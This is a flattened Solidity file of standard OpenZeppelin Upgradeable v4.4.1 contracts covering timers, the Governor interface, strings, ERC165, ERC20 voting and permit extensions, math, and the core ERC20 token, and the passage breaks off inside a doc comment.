pragma solidity ^0.8.0;
/**
* @dev Tooling for timepoints, timers and delays
*/
library TimersUpgradeable {
struct Timestamp {
uint64 _deadline;
}
function getDeadline(Timestamp memory timer) internal pure returns (uint64) {
return timer._deadline;
}
function setDeadline(Timestamp storage timer, uint64 timestamp) internal {
timer._deadline = timestamp;
}
function reset(Timestamp storage timer) internal {
timer._deadline = 0;
}
function isUnset(Timestamp memory timer) internal pure returns (bool) {
return timer._deadline == 0;
}
function isStarted(Timestamp memory timer) internal pure returns (bool) {
return timer._deadline > 0;
}
function isPending(Timestamp memory timer) internal view returns (bool) {
return timer._deadline > block.timestamp;
}
function isExpired(Timestamp memory timer) internal view returns (bool) {
return isStarted(timer) && timer._deadline <= block.timestamp;
}
struct BlockNumber {
uint64 _deadline;
}
function getDeadline(BlockNumber memory timer) internal pure returns (uint64) {
return timer._deadline;
}
function setDeadline(BlockNumber storage timer, uint64 timestamp) internal {
timer._deadline = timestamp;
}
function reset(BlockNumber storage timer) internal {
timer._deadline = 0;
}
function isUnset(BlockNumber memory timer) internal pure returns (bool) {
return timer._deadline == 0;
}
function isStarted(BlockNumber memory timer) internal pure returns (bool) {
return timer._deadline > 0;
}
function isPending(BlockNumber memory timer) internal view returns (bool) {
return timer._deadline > block.number;
}
function isExpired(BlockNumber memory timer) internal view returns (bool) {
return isStarted(timer) && timer._deadline <= block.number;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/IGovernor.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Interface of the {Governor} core.
*
* _Available since v4.3._
*/
abstract contract IGovernorUpgradeable is Initializable, IERC165Upgradeable {
function __IGovernor_init() internal onlyInitializing {
__IGovernor_init_unchained();
}
function __IGovernor_init_unchained() internal onlyInitializing {
}
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/**
* @dev Emitted when a proposal is created.
*/
event ProposalCreated(
uint256 proposalId,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
/**
* @dev Emitted when a proposal is canceled.
*/
event ProposalCanceled(uint256 proposalId);
/**
* @dev Emitted when a proposal is executed.
*/
event ProposalExecuted(uint256 proposalId);
/**
* @dev Emitted when a vote is cast.
*
* Note: `support` values should be seen as buckets. There interpretation depends on the voting module used.
*/
event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason);
/**
* @notice module:core
* @dev Name of the governor instance (used in building the ERC712 domain separator).
*/
function name() public view virtual returns (string memory);
/**
* @notice module:core
* @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1"
*/
function version() public view virtual returns (string memory);
/**
* @notice module:voting
* @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to
* be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of
* key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`.
*
* There are 2 standard keys: `support` and `quorum`.
*
* - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`.
* - `quorum=bravo` means that only For votes are counted towards quorum.
* - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum.
*
* NOTE: The string can be decoded by the standard
* https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`]
* JavaScript class.
*/
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual returns (string memory);
/**
* @notice module:core
* @dev Hashing function used to (re)build the proposal id from the proposal details..
*/
function hashProposal(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 descriptionHash
) public pure virtual returns (uint256);
/**
* @notice module:core
* @dev Current state of a proposal, following Compound's convention
*/
function state(uint256 proposalId) public view virtual returns (ProposalState);
/**
* @notice module:core
* @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's
* ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the
* beginning of the following block.
*/
function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256);
/**
* @notice module:core
* @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote
* during this block.
*/
function proposalDeadline(uint256 proposalId) public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to
* leave time for users to buy voting power, of delegate it, before the voting of a proposal starts.
*/
function votingDelay() public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Delay, in number of blocks, between the vote start and vote ends.
*
* NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting
* duration compared to the voting delay.
*/
function votingPeriod() public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Minimum number of cast voted required for a proposal to be successful.
*
* Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the
* quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}).
*/
function quorum(uint256 blockNumber) public view virtual returns (uint256);
/**
* @notice module:reputation
* @dev Voting power of an `account` at a specific `blockNumber`.
*
* Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or
* multiple), {ERC20Votes} tokens.
*/
function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256);
/**
* @notice module:voting
* @dev Returns weither `account` has cast a vote on `proposalId`.
*/
function hasVoted(uint256 proposalId, address account) public view virtual returns (bool);
/**
* @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends
* {IGovernor-votingPeriod} blocks after the voting starts.
*
* Emits a {ProposalCreated} event.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual returns (uint256 proposalId);
/**
* @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the
* deadline to be reached.
*
* Emits a {ProposalExecuted} event.
*
* Note: some module can modify the requirements for execution, for example by adding an additional timelock.
*/
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual returns (uint256 proposalId);
/**
* @dev Cast a vote
*
* Emits a {VoteCast} event.
*/
function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance);
/**
* @dev Cast a with a reason
*
* Emits a {VoteCast} event.
*/
function castVoteWithReason(
uint256 proposalId,
uint8 support,
string calldata reason
) public virtual returns (uint256 balance);
/**
* @dev Cast a vote using the user cryptographic signature.
*
* Emits a {VoteCast} event.
*/
function castVoteBySig(
uint256 proposalId,
uint8 support,
uint8 v,
bytes32 r,
bytes32 s
) public virtual returns (uint256 balance);
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20VotesComp.sol)
pragma solidity ^0.8.0;
import "./ERC20VotesUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's
* interface, with the drawback of only supporting supply up to (2^96^ - 1).
*
* NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token
* with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the
* {ERC20Votes} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20VotesCompUpgradeable is Initializable, ERC20VotesUpgradeable {
function __ERC20VotesComp_init_unchained() internal onlyInitializing {
}
/**
* @dev Comp version of the {getVotes} accessor, with `uint96` return type.
*/
function getCurrentVotes(address account) external view returns (uint96) {
return SafeCastUpgradeable.toUint96(getVotes(account));
}
/**
* @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.
*/
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
return SafeCastUpgradeable.toUint96(getPastVotes(account, blockNumber));
}
/**
* @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.
*/
function _maxSupply() internal view virtual override returns (uint224) {
return type(uint96).max;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Votes.sol)
pragma solidity ^0.8.0;
import "./draft-ERC20PermitUpgradeable.sol";
import "../../../utils/math/MathUpgradeable.sol";
import "../../../utils/math/SafeCastUpgradeable.sol";
import "../../../utils/cryptography/ECDSAUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20VotesUpgradeable is Initializable, ERC20PermitUpgradeable {
function __ERC20Votes_init_unchained() internal onlyInitializing {
}
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCastUpgradeable.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = MathUpgradeable.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual {
_delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSAUpgradeable.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
_delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCastUpgradeable.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCastUpgradeable.toUint32(block.number), votes: SafeCastUpgradeable.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
uint256[47] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
pragma solidity ^0.8.0;
import "./draft-IERC20PermitUpgradeable.sol";
import "../ERC20Upgradeable.sol";
import "../../../utils/cryptography/draft-EIP712Upgradeable.sol";
import "../../../utils/cryptography/ECDSAUpgradeable.sol";
import "../../../utils/CountersUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
function __ERC20Permit_init(string memory name) internal onlyInitializing {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal onlyInitializing {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20PermitUpgradeable {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
